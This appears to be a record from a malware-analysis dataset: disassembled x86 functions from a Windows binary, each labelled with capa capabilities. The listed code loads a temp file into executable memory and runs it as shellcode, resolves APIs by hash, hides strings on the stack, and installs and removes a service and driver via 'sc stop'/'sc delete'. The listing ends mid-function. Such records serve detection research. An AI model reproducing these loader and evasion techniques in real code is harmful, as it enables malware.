joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401320
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file via mapping

Disassembly:
sub esp, 0x218
mov eax, dword [0x40a004]
xor eax, esp
mov dword [esp + 0x214], eax
push ebp
push esi
push edi
mov edi, dword [0x40b7b0]
xor ebp, ebp
push 0x20a
lea eax, [esp + 0x18]
push ebp
push eax
mov dword [esp + 0x18], ebp
call fcn.004057b0
add esp, 0xc
push 0x104
lea ecx, [esp + 0x18]
push ecx
push ebp
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
push str.WMI32.tmp
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
push ebp
push ebp
push 3
push ebp
push 1
push 0x80000000
lea ecx, [esp + 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x401431
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileSize]
push ebp
push ebp
push esi
call ebx
push eax
push ebp
push 2
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [esp + 0x14], eax
test eax, eax
je 0x401429
push ebp
push ebp
push ebp
push 4
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ebp, eax
test ebp, ebp
je 0x40141a
push 0
push esi
call ebx
push 0x40
mov dword [edi + 0x14], eax
push 0x3000
inc eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [edi + 0x10], eax
test eax, eax
je 0x401413
mov edx, dword [edi + 0x14]
push edx
push ebp
push eax
call fcn.00403c80
add esp, 0xc
mov dword [esp + 0x10], 1
push ebp
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebp, dword [esp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
mov ecx, dword [esp + 0x220]
pop edi
pop esi
mov eax, ebp
pop ebp
xor ecx, esp
call fcn.0040155e
add esp, 0x218
ret

Function at 0x401450
Capabilities:
Set current directory

Disassembly:
sub esp, 0x10c
mov eax, dword [0x40a004]
xor eax, esp
mov dword [esp + 0x108], eax
push 0x105
lea eax, [esp + 4]
push 0
push eax
call fcn.004057b0
add esp, 0xc
push 0x105
lea ecx, [esp + 4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401490
sub eax, edx
add eax, 0xffffffff
js 0x4014b0
mov cl, 0x5c
cmp byte [esp + eax], cl
je 0x4014ac
sub eax, 1
jns 0x4014a0
jmp 0x4014b0
mov byte [esp + eax], 0
lea edx, [esp]
push edx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov ecx, dword [esp + 0x108]
xor ecx, esp
call fcn.0040155e
add esp, 0x10c
ret

Function at 0x40155e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40a004]
jne 0x401568
repz ret
jmp fcn.0040171d
Function at 0x4036a3
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00402583
and dword [ebp - 4], 0
cmp dword [0x40b688], 0
mov ebx, eax
jne 0x403754
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x403805
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x403805
push eax
call fcn.00402511
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x40b688], eax
call esi
push eax
call fcn.00402511
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x40b68c], eax
call esi
push eax
call fcn.00402511
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x40b690], eax
call esi
push eax
call fcn.00402511
pop ecx
mov dword [0x40b698], eax
test eax, eax
je 0x403754
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00402511
pop ecx
mov dword [0x40b694], eax
mov eax, dword [0x40b694]
cmp eax, ebx
je 0x4037ac
cmp dword [0x40b698], ebx
je 0x4037ac
push eax
call fcn.0040258c
push dword [0x40b698]
mov esi, eax
call fcn.0040258c
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4037ac
test edi, edi
je 0x4037ac
call esi
test eax, eax
je 0x4037a3
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4037a3
test byte [ebp - 0xc], 1
jne 0x4037ac
or dword [ebp + 0x10], 0x200000
jmp 0x4037e5
mov eax, dword [0x40b68c]
cmp eax, ebx
je 0x4037e5
push eax
call fcn.0040258c
pop ecx
test eax, eax
je 0x4037e5
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4037e5
mov eax, dword [0x40b690]
cmp eax, ebx
je 0x4037e5
push eax
call fcn.0040258c
pop ecx
test eax, eax
je 0x4037e5
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x40b688]
call fcn.0040258c
pop ecx
test eax, eax
je 0x403805
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x403807
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x41d470
Capabilities:
Hash data using rshash

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 8], 0x5c6b7
mov dword [ebp - 4], 0xf8c9
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
test ecx, ecx
je 0x41d4e8
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x41
jl 0x41d4c1
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x5a
jg 0x41d4c1
mov eax, dword [ebp - 0xc]
imul eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
lea eax, [eax + edx + 0x20]
mov dword [ebp - 0xc], eax
jmp 0x41d4d3
mov ecx, dword [ebp - 0xc]
imul ecx, dword [ebp - 4]
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
add ecx, eax
mov dword [ebp - 0xc], ecx
mov ecx, dword [ebp - 4]
imul ecx, dword [ebp - 8]
mov dword [ebp - 4], ecx
mov edx, dword [ebp + 8]
add edx, 1
mov dword [ebp + 8], edx
jmp 0x41d48b
mov eax, dword [ebp - 0xc]
and eax, 0x7fffffff
mov esp, ebp
pop ebp
ret
Function at 0x41d500
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x78]
mov dword [ebp - 8], ecx
mov dword [ebp - 0x10], 1
jmp 0x41d536
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [eax + 0x14]
jae 0x41d594
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x20]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp + 8]
add edx, dword [eax + ecx*4]
push edx
call fcn.0041d470
add esp, 4
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp + 0xc]
jne 0x41d592
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x24]
mov eax, dword [ebp - 0x10]
mov cx, word [edx + eax*2]
mov word [ebp - 0x18], cx
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x1c]
movzx ecx, word [ebp - 0x18]
mov edx, dword [ebp + 8]
add edx, dword [eax + ecx*4]
mov eax, edx
jmp 0x41d596
jmp 0x41d52d
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x41d5a0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov byte [ebp - 0x10], 0x6b
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x72
mov byte [ebp - 0xd], 0x6e
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x6c
mov byte [ebp - 0xa], 0x33
mov byte [ebp - 9], 0x32
mov byte [ebp - 8], 0x2e
mov byte [ebp - 7], 0x64
mov byte [ebp - 6], 0x6c
mov byte [ebp - 5], 0x6c
mov byte [ebp - 4], 0
lea eax, [ebp - 0x10]
push eax
call dword [0x409004]
mov esp, ebp
pop ebp
ret
Function at 0x41dfc0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
push 0x4ee61051
call fcn.0041d5f0
add esp, 4
mov dword [ebp - 0x10], eax
mov byte [ebp - 0xc], 0x75
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x65
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x33
mov byte [ebp - 7], 0x32
mov byte [ebp - 6], 0x2e
mov byte [ebp - 5], 0x64
mov byte [ebp - 4], 0x6c
mov byte [ebp - 3], 0x6c
mov byte [ebp - 2], 0
lea eax, [ebp - 0xc]
push eax
call dword [0x409004]
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0
jne 0x41e02e
lea ecx, [ebp - 0xc]
push ecx
call dword [0x409024]
mov dword [ebp - 0x23c], eax
push 0x384977d3
mov edx, dword [ebp - 0x23c]
push edx
call fcn.0041d500
add esp, 8
mov dword [ebp - 0x238], eax
push 0x7f8a
push 0x7f00
push 0
call dword [0x409114]
push eax
call dword [0x409110]
push eax
call dword [ebp - 0x238]
call fcn.0041dc70
call fcn.0041d6e0
call fcn.0041d8a0
push 0x660c1c02
call fcn.0041d5f0
add esp, 4
mov dword [ebp - 0x240], eax
push 0x104
lea eax, [ebp - 0x220]
push eax
push 0
call dword [ebp - 0x240]
push 0x214c6981
call fcn.0041d5f0
add esp, 4
mov dword [ebp - 0x224], eax
push 0x104
lea ecx, [ebp - 0x118]
push ecx
call dword [ebp - 0x224]
mov byte [ebp - 0x234], 0x5c
mov byte [ebp - 0x233], 0x5c
mov byte [ebp - 0x232], 0x73
mov byte [ebp - 0x231], 0x79
mov byte [ebp - 0x230], 0x73
mov byte [ebp - 0x22f], 0x74
mov byte [ebp - 0x22e], 0x65
mov byte [ebp - 0x22d], 0x6d
mov byte [ebp - 0x22c], 0x2e
mov byte [ebp - 0x22b], 0x65
mov byte [ebp - 0x22a], 0x78
mov byte [ebp - 0x229], 0x65
mov byte [ebp - 0x228], 0
lea edx, [ebp - 0x234]
push edx
lea eax, [ebp - 0x118]
push eax
call fcn.0041d670
add esp, 8
push 1
lea ecx, [ebp - 0x118]
push ecx
lea edx, [ebp - 0x220]
push edx
call dword [ebp - 0x10]
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4276f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
mov eax, dword [ebp + 8]
push eax
call fcn.00427450
add esp, 4
movzx ecx, al
test ecx, ecx
jne 0x4277c2
push 0
push 0x14
lea edx, [ebp - 0x84]
push edx
lea eax, [ebp - 0x50]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call dword [0x1000a170]
push 0
push 0
push 0
lea edx, [ebp - 0x50]
push edx
call dword [0x1000a184]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x427749
xor al, al
jmp 0x4278e4
mov dword [ebp - 0x70], 0x1c
lea eax, [ebp - 0x70]
push eax
push 1
push 0
push 0
lea ecx, [ebp - 0x50]
push ecx
lea edx, [ebp - 0x84]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [0x1000a180]
test eax, eax
jne 0x42777a
xor al, al
jmp 0x4278e4
mov ecx, dword [ebp + 8]
push ecx
call dword [0x1000a094]
add eax, 2
push eax
mov edx, dword [ebp + 8]
push edx
push 1
lea eax, [ebp - 0x70]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [0x1000a18c]
test eax, eax
jne 0x4277a7
xor al, al
jmp 0x4278e4
lea edx, [ebp - 0x70]
push edx
mov eax, dword [ebp - 8]
push eax
push 0x19
call dword [0x1000a188]
test eax, eax
jne 0x4277c2
xor al, al
jmp 0x4278e4
mov dword [ebp - 4], 0
mov byte [ebp - 0x40], 0x6e
mov byte [ebp - 0x3f], 0x65
mov byte [ebp - 0x3e], 0x77
mov byte [ebp - 0x3d], 0x64
mov byte [ebp - 0x3c], 0x65
mov byte [ebp - 0x3b], 0x76
mov byte [ebp - 0x3a], 0x2e
mov byte [ebp - 0x39], 0x64
mov byte [ebp - 0x38], 0x6c
mov byte [ebp - 0x37], 0x6c
mov byte [ebp - 0x36], 0
lea ecx, [ebp - 0x40]
push ecx
call dword [0x1000a044]
mov dword [ebp - 0x34], eax
push 0x94c4c32
call fcn.004290e0
add esp, 4
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x34], 0
jne 0x427822
lea edx, [ebp - 0x40]
push edx
call dword [ebp - 0x30]
mov dword [ebp - 0x34], eax
mov byte [ebp - 0x2c], 0x55
mov byte [ebp - 0x2b], 0x70
mov byte [ebp - 0x2a], 0x64
mov byte [ebp - 0x29], 0x61
mov byte [ebp - 0x28], 0x74
mov byte [ebp - 0x27], 0x65
mov byte [ebp - 0x26], 0x44
mov byte [ebp - 0x25], 0x72
mov byte [ebp - 0x24], 0x69
mov byte [ebp - 0x23], 0x76
mov byte [ebp - 0x22], 0x65
mov byte [ebp - 0x21], 0x72
mov byte [ebp - 0x20], 0x46
mov byte [ebp - 0x1f], 0x6f
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0x50
mov byte [ebp - 0x1c], 0x6c
mov byte [ebp - 0x1b], 0x75
mov byte [ebp - 0x1a], 0x67
mov byte [ebp - 0x19], 0x41
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x64
mov byte [ebp - 0x16], 0x50
mov byte [ebp - 0x15], 0x6c
mov byte [ebp - 0x14], 0x61
mov byte [ebp - 0x13], 0x79
mov byte [ebp - 0x12], 0x44
mov byte [ebp - 0x11], 0x65
mov byte [ebp - 0x10], 0x76
mov byte [ebp - 0xf], 0x69
mov byte [ebp - 0xe], 0x63
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0xc], 0x73
mov byte [ebp - 0xb], 0x41
mov byte [ebp - 0xa], 0
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 0x34]
push ecx
call dword [0x1000a030]
mov dword [ebp - 0x54], eax
lea edx, [ebp - 4]
push edx
push 1
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0
call dword [ebp - 0x54]
test eax, eax
jne 0x4278da
xor al, al
jmp 0x4278e4
mov edx, dword [ebp - 8]
push edx
call dword [0x1000a17c]
mov esp, ebp
pop ebp
ret
Function at 0x4278f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov byte [ebp - 0x1c], 0x41
mov byte [ebp - 0x1b], 0x64
mov byte [ebp - 0x1a], 0x76
mov byte [ebp - 0x19], 0x61
mov byte [ebp - 0x18], 0x70
mov byte [ebp - 0x17], 0x69
mov byte [ebp - 0x16], 0x33
mov byte [ebp - 0x15], 0x32
mov byte [ebp - 0x14], 0x2e
mov byte [ebp - 0x13], 0x64
mov byte [ebp - 0x12], 0x6c
mov byte [ebp - 0x11], 0x6c
mov byte [ebp - 0x10], 0
push 0x3777cccb
call fcn.004290e0
add esp, 4
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x1c]
push eax
call dword [ebp - 0x2c]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x427964
push 0x94c4c32
call fcn.004290e0
add esp, 4
mov dword [ebp - 0x34], eax
lea ecx, [ebp - 0x1c]
push ecx
call dword [ebp - 0x34]
mov dword [ebp - 0x24], eax
push 0x4927ac50
mov edx, dword [ebp - 0x24]
push edx
call fcn.00428ff0
add esp, 8
mov dword [ebp - 0x20], eax
push 0x4842adf4
mov eax, dword [ebp - 0x24]
push eax
call fcn.00428ff0
add esp, 8
mov dword [ebp - 0x30], eax
push 0x42f77b2b
mov ecx, dword [ebp - 0x24]
push ecx
call fcn.00428ff0
add esp, 8
mov dword [ebp - 0x28], eax
mov byte [ebp - 8], 0x61
mov byte [ebp - 7], 0x61
mov byte [ebp - 6], 0x76
mov byte [ebp - 5], 0
push 0xf003f
push 0
push 0
call dword [ebp - 0x20]
mov dword [ebp - 0xc], eax
push 0
push 0
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
push 1
push 3
push 1
push 0xf01ff
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [0x1000a018]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4279f9
cmp dword [ebp - 4], 0xffffffff
jne 0x427a61
push 0xf01ff
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [ebp - 0x30]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x427a33
lea edx, [ebp - 0x50]
push edx
push 1
mov eax, dword [ebp - 4]
push eax
call dword [0x1000a010]
mov ecx, dword [ebp - 4]
push ecx
call dword [0x1000a01c]
mov edx, dword [ebp - 4]
push edx
call dword [ebp - 0x28]
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
push 1
push 3
push 1
push 0xf01ff
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp - 0xc]
push eax
call dword [0x1000a018]
mov dword [ebp - 4], eax
push 0
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [0x1000a014]
mov edx, dword [ebp - 4]
push edx
call dword [ebp - 0x28]
mov eax, dword [ebp - 0xc]
push eax
call dword [ebp - 0x28]
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x427b00
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbc
push 0x289fbd13
call fcn.004290e0
add esp, 4
mov dword [ebp - 0x84], eax
mov byte [ebp - 0x90], 0x73
mov byte [ebp - 0x8f], 0x63
mov byte [ebp - 0x8e], 0x20
mov byte [ebp - 0x8d], 0x73
mov byte [ebp - 0x8c], 0x74
mov byte [ebp - 0x8b], 0x6f
mov byte [ebp - 0x8a], 0x70
mov byte [ebp - 0x89], 0x20
mov byte [ebp - 0x88], 0
mov byte [ebp - 0x9c], 0x73
mov byte [ebp - 0x9b], 0x63
mov byte [ebp - 0x9a], 0x20
mov byte [ebp - 0x99], 0x64
mov byte [ebp - 0x98], 0x65
mov byte [ebp - 0x97], 0x6c
mov byte [ebp - 0x96], 0x65
mov byte [ebp - 0x95], 0x74
mov byte [ebp - 0x94], 0x65
mov byte [ebp - 0x93], 0x20
mov byte [ebp - 0x92], 0
lea eax, [ebp - 0x90]
mov dword [ebp - 0xa0], eax
lea ecx, [ebp - 0x80]
mov dword [ebp - 0xa4], ecx
mov edx, dword [ebp - 0xa4]
mov dword [ebp - 0xa8], edx
mov eax, dword [ebp - 0xa0]
mov cl, byte [eax]
mov byte [ebp - 0xa9], cl
mov edx, dword [ebp - 0xa4]
mov al, byte [ebp - 0xa9]
mov byte [edx], al
mov ecx, dword [ebp - 0xa0]
add ecx, 1
mov dword [ebp - 0xa0], ecx
mov edx, dword [ebp - 0xa4]
add edx, 1
mov dword [ebp - 0xa4], edx
cmp byte [ebp - 0xa9], 0
jne 0x427bc9
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x80]
push ecx
call fcn.004291a0
add esp, 8
push 0
lea edx, [ebp - 0x80]
push edx
call dword [ebp - 0x84]
lea eax, [ebp - 0x9c]
mov dword [ebp - 0xb0], eax
lea ecx, [ebp - 0x80]
mov dword [ebp - 0xb4], ecx
mov edx, dword [ebp - 0xb4]
mov dword [ebp - 0xb8], edx
mov eax, dword [ebp - 0xb0]
mov cl, byte [eax]
mov byte [ebp - 0xb9], cl
mov edx, dword [ebp - 0xb4]
mov al, byte [ebp - 0xb9]
mov byte [edx], al
mov ecx, dword [ebp - 0xb0]
add ecx, 1
mov dword [ebp - 0xb0], ecx
mov edx, dword [ebp - 0xb4]
add edx, 1
mov dword [ebp - 0xb4], edx
cmp byte [ebp - 0xb9], 0
jne 0x427c49
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x80]
push ecx
call fcn.004291a0
add esp, 8
push 0
lea edx, [ebp - 0x80]
push edx
call dword [ebp - 0x84]
mov esp, ebp
pop ebp
ret
Function at 0x427de0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov byte [ebp - 0x1c], 0x41
mov byte [ebp - 0x1b], 0x64
mov byte [ebp - 0x1a], 0x76
mov byte [ebp - 0x19], 0x61
mov byte [ebp - 0x18], 0x70
mov byte [ebp - 0x17], 0x69
mov byte [ebp - 0x16], 0x33
mov byte [ebp - 0x15], 0x32
mov byte [ebp - 0x14], 0x2e
mov byte [ebp - 0x13], 0x64
mov byte [ebp - 0x12], 0x6c
mov byte [ebp - 0x11], 0x6c
mov byte [ebp - 0x10], 0
push 0x3777cccb
call fcn.004290e0
add esp, 4
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x1c]
push eax
call dword [ebp - 0x48]
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jne 0x427e54
push 0x94c4c32
call fcn.004290e0
add esp, 4
mov dword [ebp - 0x50], eax
lea ecx, [ebp - 0x1c]
push ecx
call dword [ebp - 0x50]
mov dword [ebp - 0x40], eax
push 0x4927ac50
mov edx, dword [ebp - 0x40]
push edx
call fcn.00428ff0
add esp, 8
mov dword [ebp - 0x20], eax
push 0x4842adf4
mov eax, dword [ebp - 0x40]
push eax
call fcn.00428ff0
add esp, 8
mov dword [ebp - 0x4c], eax
push 0x42f77b2b
mov ecx, dword [ebp - 0x40]
push ecx
call fcn.00428ff0
add esp, 8
mov dword [ebp - 0x44], eax
mov byte [ebp - 8], 0x61
mov byte [ebp - 7], 0x61
mov byte [ebp - 6], 0x76
mov byte [ebp - 5], 0
push 0xf003f
push 0
push 0
call dword [ebp - 0x20]
mov dword [ebp - 0xc], eax
push 0xf01ff
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp - 0xc]
push eax
call dword [ebp - 0x4c]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x427ee9
lea ecx, [ebp - 0x3c]
push ecx
push 1
mov edx, dword [ebp - 4]
push edx
call dword [0x1000a010]
mov eax, dword [ebp - 4]
push eax
call dword [0x1000a01c]
mov ecx, dword [ebp - 4]
push ecx
call dword [ebp - 0x44]
mov esp, ebp
pop ebp
ret
Function at 0x428f60
Capabilities:
Hash data using rshash

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 8], 0x5c6b7
mov dword [ebp - 4], 0xf8c9
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
test ecx, ecx
je 0x428fd8
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x41
jl 0x428fb1
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x5a
jg 0x428fb1
mov eax, dword [ebp - 0xc]
imul eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
lea eax, [eax + edx + 0x20]
mov dword [ebp - 0xc], eax
jmp 0x428fc3
mov ecx, dword [ebp - 0xc]
imul ecx, dword [ebp - 4]
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
add ecx, eax
mov dword [ebp - 0xc], ecx
mov ecx, dword [ebp - 4]
imul ecx, dword [ebp - 8]
mov dword [ebp - 4], ecx
mov edx, dword [ebp + 8]
add edx, 1
mov dword [ebp + 8], edx
jmp 0x428f7b
mov eax, dword [ebp - 0xc]
and eax, 0x7fffffff
mov esp, ebp
pop ebp
ret

Function at 0x428ff0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x78]
mov dword [ebp - 8], ecx
mov dword [ebp - 0x10], 1
jmp 0x429026
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [eax + 0x14]
jae 0x429084
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x20]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp + 8]
add edx, dword [eax + ecx*4]
push edx
call fcn.00428f60
add esp, 4
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp + 0xc]
jne 0x429082
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x24]
mov eax, dword [ebp - 0x10]
mov cx, word [edx + eax*2]
mov word [ebp - 0x18], cx
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x1c]
movzx ecx, word [ebp - 0x18]
mov edx, dword [ebp + 8]
add edx, dword [eax + ecx*4]
mov eax, edx
jmp 0x429086
jmp 0x42901d
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x429090
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov byte [ebp - 0x10], 0x6b
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x72
mov byte [ebp - 0xd], 0x6e
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x6c
mov byte [ebp - 0xa], 0x33
mov byte [ebp - 9], 0x32
mov byte [ebp - 8], 0x2e
mov byte [ebp - 7], 0x64
mov byte [ebp - 6], 0x6c
mov byte [ebp - 5], 0x6c
mov byte [ebp - 4], 0
lea eax, [ebp - 0x10]
push eax
call dword [0x1000a044]
mov esp, ebp
pop ebp
ret
Function at 0x429310
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov byte [ebp - 0x18], 0x43
mov byte [ebp - 0x17], 0x72
mov byte [ebp - 0x16], 0x65
mov byte [ebp - 0x15], 0x61
mov byte [ebp - 0x14], 0x74
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x46
mov byte [ebp - 0x11], 0x69
mov byte [ebp - 0x10], 0x6c
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x41
mov byte [ebp - 0xd], 0
mov byte [ebp - 0xc], 0x57
mov byte [ebp - 0xb], 0x72
mov byte [ebp - 0xa], 0x69
mov byte [ebp - 9], 0x74
mov byte [ebp - 8], 0x65
mov byte [ebp - 7], 0x46
mov byte [ebp - 6], 0x69
mov byte [ebp - 5], 0x6c
mov byte [ebp - 4], 0x65
mov byte [ebp - 3], 0
mov byte [ebp - 0x2c], 0x43
mov byte [ebp - 0x2b], 0x6c
mov byte [ebp - 0x2a], 0x6f
mov byte [ebp - 0x29], 0x73
mov byte [ebp - 0x28], 0x65
mov byte [ebp - 0x27], 0x48
mov byte [ebp - 0x26], 0x61
mov byte [ebp - 0x25], 0x6e
mov byte [ebp - 0x24], 0x64
mov byte [ebp - 0x23], 0x6c
mov byte [ebp - 0x22], 0x65
mov byte [ebp - 0x21], 0
lea eax, [ebp - 0x18]
push eax
call fcn.00429110
add esp, 4
mov dword [ebp - 0x34], eax
lea ecx, [ebp - 0xc]
push ecx
call fcn.00429110
add esp, 4
mov dword [ebp - 0x30], eax
lea edx, [ebp - 0x2c]
push edx
call fcn.00429110
add esp, 4
mov dword [ebp - 0x1c], eax
push 0
push 0x80
push 4
push 0
push 1
push 0x10000000
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 0x34]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xffffffff
jne 0x4293f1
xor al, al
jmp 0x429416
mov dword [ebp - 0x38], 0
push 0
lea ecx, [ebp - 0x38]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
call dword [ebp - 0x30]
mov edx, dword [ebp - 0x20]
push edx
call dword [ebp - 0x1c]
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x43a2c0
Capabilities:
Hash data using rshash

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 8], 0x5c6b7
mov dword [ebp - 4], 0xf8c9
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
test ecx, ecx
je 0x43a338
